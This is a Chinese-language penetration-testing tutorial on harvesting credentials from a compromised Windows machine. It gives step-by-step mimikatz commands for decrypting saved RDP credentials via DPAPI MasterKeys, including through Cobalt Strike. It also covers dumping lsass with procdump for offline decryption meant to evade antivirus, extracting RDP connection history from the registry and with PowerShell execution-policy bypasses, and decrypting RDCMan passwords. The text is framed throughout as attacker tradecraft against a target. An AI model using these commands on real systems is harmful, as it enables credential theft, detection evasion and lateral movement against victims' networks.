一、受害機Credentials解密之RDP
Credentials的解密是Windows系統信息收集中非常重要的一環,其中包括各類敏感、重要的憑證(這個可以理解為密碼),這里我們就以RDP的密碼來引入
1、可破解的原理:
在我們點擊保存密碼后,Windows就通過MasterKey將我們的密碼加密后保存在本地,由於Windows還需要解密從而使用,所以這個過程是可逆,也正因為這一緣由,我們只要拿到MasterKey就能將密碼解出來。
2、保存在本地的RDP密碼:
注意:這一系列操作都是要在該用戶的session下操作的,不能在system的session下操作,因為system是不會去連接RDP后保存的密碼的。我們可以先去mstsc嘗試遠程連接,並勾選保存憑據,記住保存的時間,一會我們根據時間找文件
保存的憑據是放在C:\Users\<username>\AppData\Local\Microsoft\Credentials,可以在命令行用dir /a 命令查看:
也可以通過cmdkey /list 查看當前用戶保存的憑據,其中Domain Password(即域密碼)就是我們要的可以嘗試登錄的RDP密碼,當然也可以通過SMB登錄
3、解密:
① 先獲取該文件的MasterKey的guid:
mimikatz "dpapi::cred /in:C:\Users\ASUS\AppData\Local\Microsoft\Credentials\7126E91520138D9EB38B118734191EBB" "exit"
所以用於加密憑據文件7126E91520138D9EB38B118734191EBB的MasterKey的guid就是:{b6e84104-e55c-42e5-af1d-e821429dd3d6},所以我們只要從內存中找到這個guid對應的MasterKey的值即可
② 通過guid獲取對應的MasterKey值:
mimikatz "privilege::debug" "sekurlsa::dpapi" "exit"
在輸出的結果中通過guid找到對應的MasterKey:
③ 最后打開mimikatz通過MasterKey值去解密憑據文件:
dpapi::cred /in:憑據文件路徑 /masterky::masterky值
如:
dpapi::cred /in:C:\Users\ASUS\AppData\Local\Microsoft\Credentials\7126E91520138D9EB38B118734191EBB /masterky:71161f3a0301c03abd237c53c393693a2dbb4a02544e3589e162a9e6c842156e8714f7257caee635367938671028cac057d2a5b002a5669198800cc830eb5c98
4、Cobalt Strike下的操作:
因為我們⼀般不會把mimikatz上傳到⽬標,所以我們可以借⽤Cobalt Strike的mimikatz來進⾏這⼀系列操作。但是cs的操作跟我們的直接在mimikatz終端是不太⼀樣
① cs在獲取了繞過UAC的管理員權限之后是不需要執⾏
privilege::debug
② 在cs上執⾏mimikatz是不⽤ exit的
③ 雙引號⾃⼰根據實際情況增刪
如:
Mimikatz dpapi::cred /in:C:\Users\ASUS\AppData\Local\Microsoft\Credentials\7126E91520138D9EB38B118734191EBB /masterky:71161f3a0301c03abd237c53c393693a2dbb4a02544e3589e162a9e6c842156e8714f7257caee635367938671028cac057d2a5b002a5669198800cc830eb5c98
二、離線解密目標Credentials【免殺一切】:
由於我們不能保證我們的mimikatz是免殺狀態,為了避免被對方發現,我們可以離線解密從而達到獲取密碼的目的
1、離線解密目標credentials的原理:
其實很簡單,就是把目標的文件和內存下載回來,在vps或本機上進行mimikatz解密即可。
2、具體操作
① 下載目標內存:
procdump64.exe -accepteula -ma lsass.exe lsass1.dump
② 下載目標的Credentials文件:
目標Credentials文件在C:\Users\<username>\AppData\Local\Microsoft\Credentials,如果目標有多個用戶,就需要將多個用戶的文件下載回來,如果該用戶沒有登陸的話,我們是沒有辦法解密的,因為此時該用戶的MasterKey並沒有分配到內存。
這里忘了說了,這個credentials目錄下的內容是隱藏的,需要取消勾選這個選項從而顯示文件:
③ 用mimikatz載入dump回來的內存:
Sekurlsa::minidump lsass1.dump // lsass1.dump是內存文件名,隨便取的
④ 獲取Credentials的GUID:
到了這一步,后面的就和在線獲取差不多了。
我們可以輸入dpapi::cred /in:DFBE70A7E5CC19A398EBF1B96859CE5D來獲取GUID(這里由於我把Credentials文件放在mimikatz同目錄下,所以我用的相對路徑)
得到:guidMasterKey : {3a1a9d6b-6bca-4f4a-9e94-831967345b88}
⑤ 獲取內存中所有的MasterKey,並通過GUID對比得出想要的那一個:
命令:sekurlsa::dpapi
⑥ 利用MasterKey解密
dpapi::cred /in:DFBE70A7E5CC19A398EBF1B96859CE5D /masterkey:568359fcc7e914452a21a009fd0ee4dc70087a525b3aeafe63de6e1c395ac5486152c6b90fbb8f8de73e0a9e508d8656bc9fac0576e67141f5d828596a7c279e
三、RDP連接記錄獲取和RDCMan密碼獲取
1、RDP連接記錄:
在滲透的過程中,我們最希望的還是獲取一些RDP的記錄和憑證,說不定能上郵件服務器、OA、殺軟服務器,而每當管理員使用mstsc連接過遠程桌面卻沒有手動刪除時都會留下記錄的,我們滲透時要的就是這個記錄
2、RDP連接記錄的獲取:
① 手動讀取注冊表:
reg query HKEY_USERS
得到當前用戶的SID后繼續讀取:
然后接着讀取(注意,讀取的路徑除了SID因為用戶不一致,其他的都是一樣的;這里有雙引號是因為有空格避免報錯):
然后我們繼續在命令中加上這兩個枚舉出來IP就可以了,我這里是沒有保存密碼的,如果有密碼會多處一行CertHash的內容:
② Powershell:
所有的工具、腳本都是操作系統來執行而已,該腳本也是代替人工執行cmd選擇,加快速度。
列出當前用戶的連接記錄:
https://raw.githubusercontent.com/3gstudent/List-RDP-Connections-History/master/ListLogged-inUsers.ps1
命令:powershell -exxec bypass -f ListLogged-inUsers.ps1
列出所有用戶的連接記錄(這個要繞過UAC權限):
https://raw.githubusercontent.com/3gstudent/List-RDP-Connections-History/master/ListAllUsers.ps1
命令:powershell -exxec bypass -f ListAllUsers.ps1
2、關於RDCMan:
RDCMan全稱Remote Desktop Connection Manager(多遠程桌面管理)是微軟Windows Live體驗團隊的主要開發者Julian Burger開發的一個遠程桌面管理工具。RDCMan可以集中管理、分類、組織遠程桌面,相比Windows系統自帶的遠程桌面管理工具mstsc.exe要更方便、省時的多,尤其是你管理大量服務器或同時連接多台服務器進行操作、切換工作是。官方下載鏈接為:https://www.microsoft.com/en-us/download/details.aspx?id=44989
雖然官方的下載鏈接已經失效了,但由於這款工具實在好用,不少管理員還是喜歡的。
① 獲取連接記錄:
該工具的連接記錄是保存在*.rdg文件里的,在之前列出全盤文件列表可以查找到:
② 獲取密碼:
這個工具的密碼的保存分在兩個地方,一個是全局文件,另一個是用戶保存的rdg文件。
全局文件路徑在文件的安裝目錄下,如果是默認的安裝路徑,則是:C:\Users\Hacker\AppData\Local\Microsoft\RemoteDesktopConnectionManager\RDCMan.settings,也可以直接搜索文件名稱。
③ 解碼:
雖然密碼保存的位置不同,但是解碼原理都是一樣的,都是利用DPAPI,所以我們可以利用一下幾種方式解密:
Ⅰ C#:
項目地址:https://github.com/winterific/RDCManTest
修改MainTest.cs的代碼為:
並把輸出類改為:控股台應用程序,假設編譯初的文件名是RDCManTest.exe
我們就把RDCManTest.exe和RDCMan.dll放到目標取,然后進入cmd下執行:RDCManTest.exe hash
RDCMan.dll的出處:可以直接把目標的rdcman..exe復制為RDCMan.dll
Ⅱ 利用powershell:
保存為ps1文件,執行:powershell -exec bypass -f DecryptRDCMan.ps1 ,具體細節看代碼即可。
Ⅲ mimikatz:
dpapi:rdg /in:c:\users\hacker\desktop\4.rdg /unprotect